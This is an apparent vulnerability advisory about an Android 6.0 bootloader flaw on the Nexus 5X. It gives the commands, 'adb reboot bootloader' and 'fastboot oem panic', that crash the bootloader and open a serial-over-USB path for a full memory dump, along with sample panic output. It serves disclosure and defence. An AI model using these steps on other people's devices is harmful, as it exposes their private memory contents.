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Android 6.0.0 MDA89E / 6.0.1 MMB29V OEM Panic

🗓️ 05 Sep 2016 00:00:00Reported by Roee HayType 
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Android bootloader vulnerability allows unauthorized memory dumpin

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`Vulnerable versions:  
================  
Android 6.0.0 MDA89E through 6.0.1 MMB29V (bootloaders bhz10i/k)  
  
Non-vulnerable versions:  
====================  
Android 6.0.1 MHC19J (bootloader bhz10m) and above.  
  
Details:  
======  
The attacker reboots the phone into the 'fastboot' mode. A physical  
attacker can do this, without authorization, by pressing both the  
'power' and 'volume down' buttons during device boot. An attacker with  
an authorized ADB access can do this by issuing the 'adb reboot  
bootloader' command. The fastboot mode exposes a USB interface, which,  
on locked devices, must not allow any security-sensitive operation to  
be commanded. However, we discovered that if the attacker issued the  
'fastboot oem panic' command via the fastboot USB interface, the  
bootloader would be forced to crash:  
  
[38870] fastboot: oem panic  
[38870] panic (frame 0xf9b1768):  
[38870] r0 0x0f9972c4 r1 0x4e225c22 r2 0x7541206f r3 0x74206874  
[38870] r4 0x0f9972e8 r5 0x0f96715c r6 0x0f9972f0 r7 0x0f9670ec  
[38870] r8 0x0f92e070 r9 0x00000000 r10 0x00000000 r11 0x00000000  
[38870] r12 0x0f92e070 usp 0x0f9650ec ulr 0x00000000 pc 0x0f99c75c  
[38870] spsr 0x0f936964  
[38870] fiq r13 0x0f989490 r14 0x00000000  
[38870] irq r13 0x0f989490 r14 0x0f9004f4  
[38870] svc r13 0x0f9b16f0 r14 0x0f92dd0c  
[38870] und r13 0x0f989490 r14 0x00000000  
[38870] sys r13 0x00000000 r14 0x00000000  
[38880] panic (caller 0xf936964): generate test-panic  
  
The problem is that in the vulnerable versions of the bootloader, such  
a crash would cause the bootloader to expose a serial-over-USB  
connection, which would allow an attacker to obtain a full memory dump  
of the device using tools such as QPST Configuration. The resulting  
memory dump files would then be available under the attackeras PC.  
  
  
More details are available at  
https://securityintelligence.com/undocumented-patched-vulnerability-in-nexus-5X-allowed-for-memory-dumping-via-usb/  
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